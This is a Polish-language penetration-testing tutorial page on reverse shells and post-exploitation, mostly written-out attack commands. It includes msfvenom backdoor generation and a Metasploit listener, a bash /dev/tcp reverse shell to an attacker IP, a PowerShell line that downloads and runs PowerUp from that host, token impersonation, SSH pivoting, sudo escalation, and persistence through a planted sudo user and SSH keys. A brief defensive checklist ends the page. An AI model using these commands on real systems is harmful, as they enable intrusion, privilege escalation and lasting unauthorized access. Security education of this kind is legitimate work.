Przejdź do głównej zawartości

Reverse Shell i Post-Exploitation

Po udanym przejęciu systemu atakujący może chcieć utrzymać dostęp, przechwycić dane, wykonać dalsze eskalacje uprawnień lub zainstalować backdoora. W tej sekcji omówimy, jak tworzyć reverse shell, przejmować sesje oraz utrwalać dostęp do systemu.


Tworzenie backdoora​

Backdoor to ukryte wejście do systemu, które pozwala atakującemu na ponowne zalogowanie się bez wiedzy administratora.

1️⃣ Tworzenie backdoora w Metasploit​

Metasploit umożliwia generowanie złośliwych plików wykonywalnych:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > backdoor.exe

Jeśli atakowany system to Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > backdoor.elf

Uruchomienie backdoora​

Na maszynie atakującego uruchamiamy listener w Metasploit:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit

Po otwarciu pliku backdoor.exe przez ofiarę, uzyskujemy zdalny dostęp do systemu.


Przechwytywanie sesji​

Reverse Shell pozwala na pełną interakcję z systemem ofiary.

2️⃣ Uzyskanie Reverse Shell przez Netcat​

Atakujący otwiera listener:

nc -lvnp 4444

Ofiara uruchamia payload:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Po uruchomieniu polecenia, atakujący uzyskuje interaktywną powłokę.

3️⃣ Stabilizacja powłoki​

Surowy reverse shell często nie obsługuje Ctrl+C, tabulacji ani edycji linii. Upgrade do w pełni interaktywnej powłoki:

# krok 1 – spawn PTY przez Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# krok 2 – w tle (Ctrl+Z), ustaw rozmiar terminala i wróć
stty raw -echo; fg

# krok 3 – poprawka zmiennych środowiskowych
export TERM=xterm
export SHELL=bash

Po tych krokach masz pełną interaktywną powłokę z historią, autouzupełnianiem i sygnałami.


Eskalacja uprawnień – Windows​

4️⃣ Rozpoznanie środowiska Windows​

Pierwsze kroki po uzyskaniu shella na Windows:

systeminfo
tasklist /v
whoami /priv
net user
net localgroup administrators

systeminfo ujawnia wersję OS i brakujące hotfixy — kluczowe do wyboru exploita.

5️⃣ WinPEAS – automatyczne wykrywanie wektorów​

W sesji Meterpreter lub na docelowej maszynie:

# upload z Kali
upload /usr/share/peass/winpeas/winPEASany.exe C:\\Windows\\Temp\\wp.exe

# wykonanie na Windows
shell
C:\Windows\Temp\wp.exe

6️⃣ PowerUp – eskalacja przez błędną konfigurację​

PowerUp wykrywa błędnie skonfigurowane usługi, DLL hijacking, AlwaysInstallElevated:

# w sesji Meterpreter
load powershell
powershell_execute "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/PowerUp.ps1'); Invoke-AllChecks"

7️⃣ Metasploit Local Exploit Suggester​

W aktywnej sesji Meterpreter:

use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Suggester wskazuje gotowe moduły exploit/windows/local/ pasujące do wersji OS i uprawnień.


Impersonacja tokenów (Incognito)​

Windows korzysta z tokenów dostępu — jeśli uprzywilejowany użytkownik jest zalogowany, można ukraść jego tożsamość bez znajomości hasła.

8️⃣ Incognito w Meterpreter​

# załaduj moduł incognito
use incognito

# wyświetl dostępne tokeny
list_tokens -u

# impersonuj token administratora domenowego
impersonate_token "DOMAIN\\Administrator"

# weryfikacja
getuid

Jeśli list_tokens pokazuje token z grupy BUILTIN\Administrators, impersonacja daje pełny dostęp do systemu.


Pivoting przez tunelowanie SSH​

Pivoting pozwala atakować hosty wewnętrzne niedostępne bezpośrednio z Kali — wymagany skompromitowany host z dostępem SSH.

9️⃣ Local Port Forward (ssh -L)​

Przekieruj port usługi wewnętrznej na lokalny port Kali:

# składnia: ssh -L <lokalny-port>:<host-docelowy>:<port-docelowy> user@pivot-host
ssh -L 8080:192.168.2.10:80 [email protected]

Po uruchomieniu http://localhost:8080 na Kali trafia do 192.168.2.10:80 przez hosta pivot.

1️⃣0️⃣ Dynamic SOCKS Proxy (ssh -D)​

Otwiera lokalny proxy SOCKS5 — cały ruch Kali można kierować przez hosta pivot:

ssh -D 9050 [email protected]

Skonfiguruj Proxychains (/etc/proxychains4.conf):

socks5 127.0.0.1 9050

Teraz można używać dowolnego narzędzia przez proxy:

proxychains nmap -sT -Pn 192.168.2.0/24
proxychains sqlmap -u "http://192.168.2.10/app.php?id=1"

Eskalacja uprawnień – Linux​

1️⃣1️⃣ LinPEAS i sprawdzenie sudo​

sudo -l

Jeśli istnieje dostęp do sudo bez hasła:

sudo /bin/bash

LinPEAS — automatyczne wykrywanie wektorów na Linux:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Utrwalanie dostępu​

1️⃣2️⃣ Konto użytkownika i SSH​

sudo useradd -m -s /bin/bash hacker
sudo passwd hacker
sudo usermod -aG sudo hacker

Lub dodaj klucz SSH do ~/.ssh/authorized_keys.


Jak zabezpieczyć system przed backdoorami i reverse shell?​

✅ Monitorowanie aktywności sieciowej i nietypowego ruchu na nietypowych portach ✅ Blokowanie Netcata i innych narzędzi używanych w atakach ✅ Używanie EDR (Endpoint Detection & Response) do wykrywania podejrzanych działań ✅ Regularne skanowanie systemów pod kątem nowych użytkowników i kluczy SSH ✅ Ograniczenie uprawnień i segmentacja sieci


Reverse Shell i Post-Exploitation to kluczowe elementy zaawansowanego pentestingu. Kolejnym krokiem będzie Łamanie haseł offline (Hashcat i John the Ripper)!